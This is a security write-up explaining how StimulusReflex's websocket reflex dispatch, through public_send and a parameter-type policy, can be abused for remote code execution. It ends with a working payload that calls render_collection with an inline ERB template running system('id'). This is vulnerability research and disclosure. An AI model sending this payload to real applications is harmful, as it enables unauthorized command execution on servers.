when ruby's public_send method is an oddly named eval

There are different approaches to the problem of updating only the relevant part of the page when a user performs an action. My understanding of the StimulusReflex library is that it tackles this problem in a way that still relies on server-side templates. That is, it uses websockets messages to request a part of the html to be built server-side.

exploration

When using a StimulusReflex application, you will see a websocket connection being established for the /cable path. Under certain user actions messages that can look like the following will be exchanged:

{
  "command": "message",
  "identifier": "{\"channel\":\"StimulusReflex::Channel\"}",
  "data": "{\"attrs\":{\"data-reflex\":\"change->DocumentReflex#change_name\",\"data-reflex-dataset\":\"ancestors\",\"class\":\"form-control\",\"value\":\"rename.me.me\",\"data-controller\":\"folders\",\"data-action\":\"change->folders#__perform\",\"checked\":false,\"selected\":false,\"tag_name\":\"INPUT\"},\"dataset\":{\"dataset\":{\"data-reflex\":\"change->DocumentReflex#change_name\",\"data-reflex-dataset\":\"ancestors\",\"data-controller\":\"folders\",\"data-action\":\"change->folders#__perform\",\"data-reflex-root\":\"#folder\",\"data-document-id\":\"543884\"},\"datasetAll\":{}},\"selectors\":[\"#folder\"],\"id\":\"84abfdb3-a58d-4248-a9a2-ad7aa619056a\",\"resolveLate\":false,\"suppressLogging\":false,\"xpathController\":\"//*[@id='document_543884']/div[1]/div[3]/form[1]/input[1]\",\"xpathElement\":\"//*[@id='document_543884']/div[1]/div[3]/form[1]/input[1]\",\"inner_html\":\"\",\"text_content\":\"\",\"reflexController\":\"folders\",\"permanentAttributeName\":\"data-reflex-permanent\",\"target\":\"DocumentReflex#change_name\",\"args\":[],\"url\":\"http://localhost/\",\"tabId\":\"69415f36-c3ce-4922-abb3-1739fcfe77e9\",\"version\":\"3.5.0-pre10\",\"formData\":\"\"}"
}

There is a lot of stuff in this message and I don't know what it is all used for but you can see interesting target and args fields: \"target\":\"DocumentReflex#change_name\",\"args\":[]. This corresponds to a server-side class and method that will be invoked. Even before reviewing how this invocation is implemented, you can try to change the #method part with a method from the object class. Promisingly, this would lead to responses such as "wrong number of arguments (given [], expected [[:req]], optional [])".

{
  "identifier": "{\"channel\":\"StimulusReflex::Channel\"}",
  "message": {
    "cableReady": true,
    "operations": [
      {
        "name": "stimulus-reflex:morph-error",
        "payload": {},
        "stimulusReflex": {
          "attrs": {
            "data-reflex": "change->DocumentReflex#change_name",
            "data-reflex-dataset": "ancestors",
            "class": "form-control",
            "value": "rename.me.me",
            "data-controller": "folders",
            "data-action": "change->folders#__perform",
            "checked": false,
            "selected": false,
            "tagName": "INPUT"
          },
          "dataset": {
            "dataset": {
              "data-reflex": "change->DocumentReflex#change_name",
              "data-reflex-dataset": "ancestors",
              "data-controller": "folders",
              "data-action": "change->folders#__perform",
              "data-reflex-root": "#folder",
              "data-document-id": "543884"
            },
            "datasetAll": {}
          },
          "selectors": [
            "#folder"
          ],
          "id": "84abfdb3-a58d-4248-a9a2-ad7aa619056a",
          "resolveLate": false,
          "suppressLogging": false,
          "xpathController": "//*[@id='document_543884']/div[1]/div[3]/form[1]/input[1]",
          "xpathElement": "//*[@id='document_543884']/div[1]/div[3]/form[1]/input[1]",
          "innerHtml": "",
          "textContent": "",
          "reflexController": "folders",
          "permanentAttributeName": "data-reflex-permanent",
          "target": "DocumentReflex#method",
          "args": [],
          "url": "http://localhost/",
          "tabId": "69415f36-c3ce-4922-abb3-1739fcfe77e9",
          "version": "3.5.0-pre10",
          "formData": "",
          "morph": "page"
        },
        "error": "wrong number of arguments (given [], expected [[:req]], optional []) ",
        "reflexId": "84abfdb3-a58d-4248-a9a2-ad7aa619056a",
        "operation": "dispatchEvent"
      }
    ],
    "version": "5.0.0.pre10"
  }
}

Yet, at this point no side-effect could be observed when attempting to call methods such as Object#instance_eval or Kernel#system!

vulnerability

In this case, finding the relevant security-sensitive code is as simple as searching for "wrong number of arguments (given [], expected [[:req]], optional [])". It is found in stimulus_reflex/app/channels/stimulus_reflex/channel.rb

def delegate_call_to_reflex(reflex)
  method_name = reflex.method_name
  arguments = reflex.data.arguments
  method = reflex.method(method_name)

  policy = StimulusReflex::ReflexMethodInvocationPolicy.new(method, arguments)

  if policy.no_arguments?
    reflex.process(method_name)
  elsif policy.arguments?
    reflex.process(method_name, *arguments)
  else
    raise ArgumentError.new("wrong number of arguments (given #{arguments.inspect}, expected #{policy.required_params.inspect}, optional #{policy.optional_params.inspect})")
  end
end

Where the process method is basically public_send.

# Invoke the reflex action specified by `name` and run all callbacks
def process(name, *args)
  run_callbacks(:process) { public_send(name, *args) }
end
The crux of the matter is to find what counts as a method with arguments according to the ReflexMethodInvocationPolicy in stimulus_reflex/lib/stimulus_reflex/policies/reflex_invocation_policy.rb
module StimulusReflex
  class ReflexMethodInvocationPolicy
    attr_reader :arguments, :required_params, :optional_params

    def initialize(method, arguments)
      @arguments = arguments
      @required_params = method.parameters.select { |(kind, _)| kind == :req }
      @optional_params = method.parameters.select { |(kind, _)| kind == :opt }
    end

    def no_arguments?
      arguments.size == 0 && required_params.size == 0
    end

    def arguments?
      arguments.size >= required_params.size && arguments.size <= required_params.size + optional_params.size
    end

    def unknown?
      return false if no_arguments?
      return false if arguments?

      true
    end
  end
end

Ruby has different types of arguments. Notably there is :req for required arguments like "def foo(bar)", :opt for optional arguments like "def foo(bar=3)" or :rest for variable amount of arguments like "def foo(*bar)". According to ReflexMethodInvocationPolicy, only methods with :req or :opt parameters can be called and the methods attempted earlier all only have a single :rest argument. So what methods are left? This is simple to enumerate:

obj.methods.select do |name|
  obj.method(name).parameters.flatten.count { |type| type == :req or type == :opt } > 0
end

Among the results is the StimulusReflex::Reflex#render_collection method. This is a thin wrapper around a call to the ActionController::Base#render method and it supports passing in a template as a string.

\"target\":\"StimulusReflex::Reflex#render_collection\",\"args\":[{\"inline\": \"<% system('id') %>\"}]

This works because even though the inner render method uses a variable amount of arguments, the outer render_collection does not.

disclosure



April 11ᵗʰ 2024